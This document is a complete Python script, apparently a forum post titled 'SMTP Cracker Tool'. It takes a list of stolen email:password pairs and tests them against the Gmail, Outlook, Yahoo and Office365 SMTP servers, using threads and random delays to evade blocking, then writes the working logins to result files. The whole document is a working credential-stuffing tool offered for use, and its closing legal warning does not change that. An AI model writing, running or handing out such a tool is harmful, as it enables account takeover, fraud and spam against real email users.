SMTP Cracker Tool - Printable Version

Code
import os

import smtplib

import concurrent.futures

import sys

import time

import random

from tkinter import Tk

from tkinter.filedialog import askopenfilename

from colorama import Fore, Style, init

import threading

from datetime import datetime

import logging



# Configuring error logging

logging.basicConfig(filename='smtp_checker_errors.log', level=logging.ERROR,

                    format='%(asctime)s - %(levelname)s - %(message)s')



# Initializing Colorama

init(autoreset=True)



BANNER = """

============================

SMTP Cracker Tool

============================

"""



SMTP_SERVERS = {

    "gmail": {"server": "smtp.gmail.com", "port": 587},

    "outlook": {"server": "smtp-mail.outlook.com", "port": 587},

    "yahoo": {"server": "smtp.mail.yahoo.com", "port": 587},

    # Delays for each service

    "office365": {"server": "smtp.office365.com", "port": 587, "delay": 5}

}



# Global variables with protection

VALIDS = 0

INVALIDS = 0

TOTAL_LINES = 0

PROCESSED_LINES = 0

LOCK = threading.Lock()

MAX_THREADS = 10  # Small number of threads



def check_smtp_connection(email: str, password: str, smtp_server: str, port: int) -> bool:

    try:

        # Incidental delay to avoid blocking

        time.sleep(random.uniform(1, 3))

        

        with smtplib.SMTP(smtp_server, port, timeout=10) as server:

            server.starttls()

            server.login(email, password)

            return True

    except Exception as e:

        logging.error(f"Error checking {email} on {smtp_server}: {str(e)}")

        return False



def process_email(email_pass: str, folder_path: str):

    global VALIDS, INVALIDS, PROCESSED_LINES

    

    try:

        # Format validation

        if email_pass.count(":") != 1:

            logging.warning(f"Invalid string format: {email_pass}")

            return



        email, password = email_pass.strip().split(":")

        domain = email.split("@")[-1].lower()



        # Checking only known servers

        for server_name, server_info in SMTP_SERVERS.items():

            if server_name in domain or domain.endswith(server_name + ".com"):

                if check_smtp_connection(email, password, server_info["server"], server_info["port"]):

                    with LOCK:

                        VALIDS += 1

                        save_valid_account(folder_path, server_name, email, password, 

                                         server_info["server"], server_info["port"])

                    print(Fore.GREEN + f"[VALID] {email}:{password} ({server_name})")

                    break

        else:

            with LOCK:

                INVALIDS += 1

            print(Fore.RED + f"[INVALID] {email}:{password}")



    except Exception as e:

        logging.error(f"Critical processing error {email_pass}: {str(e)}")

    finally:

        with LOCK:

            PROCESSED_LINES += 1



def save_valid_account(folder_path: str, service: str, email: str, 

                      password: str, server: str, port: int):

    filename = f"valid_{service}_accounts.txt"

    with open(os.path.join(folder_path, filename), "a") as f:

        f.write(f"{email}:{password}|{server}:{port}\n")



def main():

    print(Fore.CYAN + BANNER + Style.RESET_ALL)

    

    # Selecting a data file

    Tk().withdraw()

    file_path = askopenfilename(title="Select the file with email:password", 

                              filetypes=[("Text files", "*.txt")])

    if not file_path:

        print(Fore.RED + "The file is not selected. Exit." + Style.RESET_ALL)

        return



    # Reading a file with error handling

    try:

        with open(file_path, "r", encoding='utf-8', errors='ignore') as f:

            email_pass_list = [line.strip() for line in f if line.strip()]

        TOTAL_LINES = len(email_pass_list)

    except Exception as e:

        print(Fore.RED + f"File read error: {e}" + Style.RESET_ALL)

        return



    # Creating a folder for results

    timestamp = datetime.now().strftime("%Y%m%d_%H%M")

    result_folder = f"smtp_results_{timestamp}"

    os.makedirs(result_folder, exist_ok=True)



    # Limited multithreaded processing

    with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:

        futures = [executor.submit(process_email, email_pass, result_folder) 

                  for email_pass in email_pass_list]

        

        # Progress Bar

        while not all(f.done() for f in futures):

            time.sleep(0.5)

            with LOCK:

                print(f"\rОбработано: {PROCESSED_LINES}/{TOTAL_LINES}", end="")



    print(Fore.CYAN + f"\n\nDone! Valid: {VALIDS}, Invalid: {INVALIDS}" + Style.RESET_ALL)

    print(Fore.YELLOW + "Warning: Use of this tool may violate laws." + Style.RESET_ALL)



if __name__ == "__main__":

    main()